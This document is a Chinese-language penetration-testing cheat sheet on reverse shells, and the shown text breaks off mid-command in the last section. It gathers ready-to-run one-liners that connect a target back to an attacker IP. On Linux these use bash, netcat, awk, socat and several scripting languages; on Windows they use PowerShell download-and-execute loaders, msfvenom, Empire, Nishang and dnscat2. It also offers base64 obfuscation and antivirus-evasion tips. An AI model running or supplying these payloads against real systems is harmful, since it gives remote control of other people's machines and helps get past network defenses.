一、什么是反弹 Shell?
在渗透测试中,当目标主机因防火墙限制、端口过滤等原因导致无法直接连接时,反弹 Shell 技术可让目标主机主动向攻击者控制的主机发起连接,从而建立交互式命令行会话。这是内网渗透中突破网络限制、获取持续控制权限的核心手段。
基础环境约定:
-
攻击者主机 IP:
192.168.99.242 -
攻击者监听端口:
1234(特殊场景会单独说明)
二、Linux 系统反弹 Shell 姿势
1. bash 原生反弹
原理
利用 bash 的重定向功能,将标准输入、输出、错误绑定到 TCP 连接,实现交互式 Shell。
命令示例
-
基础版:
1
bash -i >& /dev/tcp/192.168.99.242/1234 0>&1
-
bash -i:启动交互式 bash -
>& /dev/tcp/...:将输出重定向到 TCP 连接 -
0>&1:将标准输入绑定到标准输出(实现双向通信) -
在线工具:反弹shell命令在线生成器|🔰雨苁🔰
-
-
Base64 编码版(规避特殊字符检测):
1
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'
-
变体(适用于特殊环境):
1
2
3
4
5# 方法1:通过文件描述符维持连接
exec 5<>/dev/tcp/192.168.99.242/1234;cat <&5 | while read line; do $line 2>&5 >&5;done
# 方法2:直接绑定标准流
exec /bin/sh 0</dev/tcp/192.168.99.242/1234 1>&0 2>&0
2. netcat(nc)反弹
原理
利用 netcat 的 -e 参数直接将 Shell 绑定到 TCP 连接。
命令示例
1 | nc -e /bin/bash 192.168.99.242 1234 |
-
注:部分 nc 版本不支持
-e参数,需替换为管道方式:1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.99.242 1234 >/tmp/f
3. awk 反弹
原理
利用 awk 的网络编程能力建立 TCP 连接并绑定 Shell。
命令示例
1 | awk 'BEGIN{ |
4. telnet 反弹
原理
通过两个 telnet 连接分别传输命令和结果(需攻击者监听两个端口)。
操作步骤
-
攻击者同时监听 1234(输入)和 4321(输出):
1
2nc -lvp 1234 # 终端1:接收命令输入
nc -lvp 4321 # 终端2:显示命令结果 -
目标机执行反弹命令:
1
telnet 192.168.99.242 1234 | /bin/bash | telnet 192.168.99.242 4321
5. socat 反弹
原理
通过 socat 工具建立带伪终端的 TCP 连接,支持更稳定的交互式 Shell。
命令示例
1 | socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.99.242:1234 |
-
优势:伪终端(pty)支持命令补全、信号传递(如 Ctrl+C)。
6. 编程语言反弹(多语言适配)
| 语言 | 反弹命令 |
|---|---|
| Python | python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.99.242',1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);" |
| PHP | php -r '$sock=fsockopen("192.168.99.242",1234);exec("/bin/sh -i <&3 >&3 2>&3");' |
| Perl | perl -e 'use Socket;$i="192.168.99.242";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
| Ruby | ruby -rsocket -e'f=TCPSocket.open("192.168.99.242",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' |
| Lua | lua -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.99.242','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" |
7. Java 反弹
步骤
-
编写 Java 代码(Revs.java):
1
2
3
4
5
6
7
8public class Revs {
public static void main(String[] args) throws Exception {
Runtime r = Runtime.getRuntime();
String cmd[] = {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.99.242/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}
} -
编译并执行:
1
javac Revs.java && java Revs
三、Windows 系统反弹 Shell 姿势
1. netcat(nc)反弹
步骤
-
下载 nc(https://eternallybored.org/misc/netcat/)并上传至目标机。
-
执行反弹命令:
1
nc 192.168.99.242 1234 -e c:\windows\system32\cmd.exe
2. PowerShell 反弹(powercat)
原理
powercat 是 PowerShell 实现的 netcat,免杀性优于传统 nc。
命令示例
-
在线加载执行:
1
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.99.242 -p 1234 -e cmd
-
本地加载执行:
1
2Import-Module .\powercat.ps1 # 先下载powercat.ps1
powercat -c 192.168.99.242 -p 1234 -e cmd
3. MSF 框架生成 Payload
步骤
-
生成 Windows 反弹 Payload:
1
msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.99.242 LPORT=1234 -f raw
-
在 MSF 中启动监听:
1
2
3
4
5
6msfconsole
use exploit/multi/handler
set payload cmd/windows/reverse_powershell
set LHOST 192.168.99.242
set LPORT 1234
run -
目标机执行生成的 Payload。
4. Cobalt Strike 反弹
步骤
-
配置监听器:
Cobalt Strike → Listeners → Add(选择windows/beacon_tcp/reverse)。 -
生成 Payload:
Attacks → Packages → Windows Executable(保存为.exe或.ps1)。 -
目标机执行 Payload,获取 beacon 会话。
5. Empire 框架反弹
步骤
-
启动 Empire 并配置监听器:
1
2
3
4
5uselistener http
set Name test
set Host 192.168.99.242
set Port 1234
execute -
生成 Stager:
1
2
3usestager windows/launcher_vbs
set Listener test
execute # 生成VBS脚本,目标机执行后反弹
6. Nishang 框架反弹
命令示例
-
TCP 反弹:
1
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 192.168.99.242 -port 1234
-
UDP 反弹:
1
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.99.242 -port 1234
7. Dnscat2(DNS 隧道反弹)
原理
通过 DNS 协议传输数据,绕过防火墙对 TCP/UDP 的限制。
步骤
-
服务端(攻击者):
1
2
3git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
ruby dnscat2.rb --dns "domain=lltest.com,host=192.168.99.242" --no-cache -e open -e open -
目标机(Windows):
1
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebagg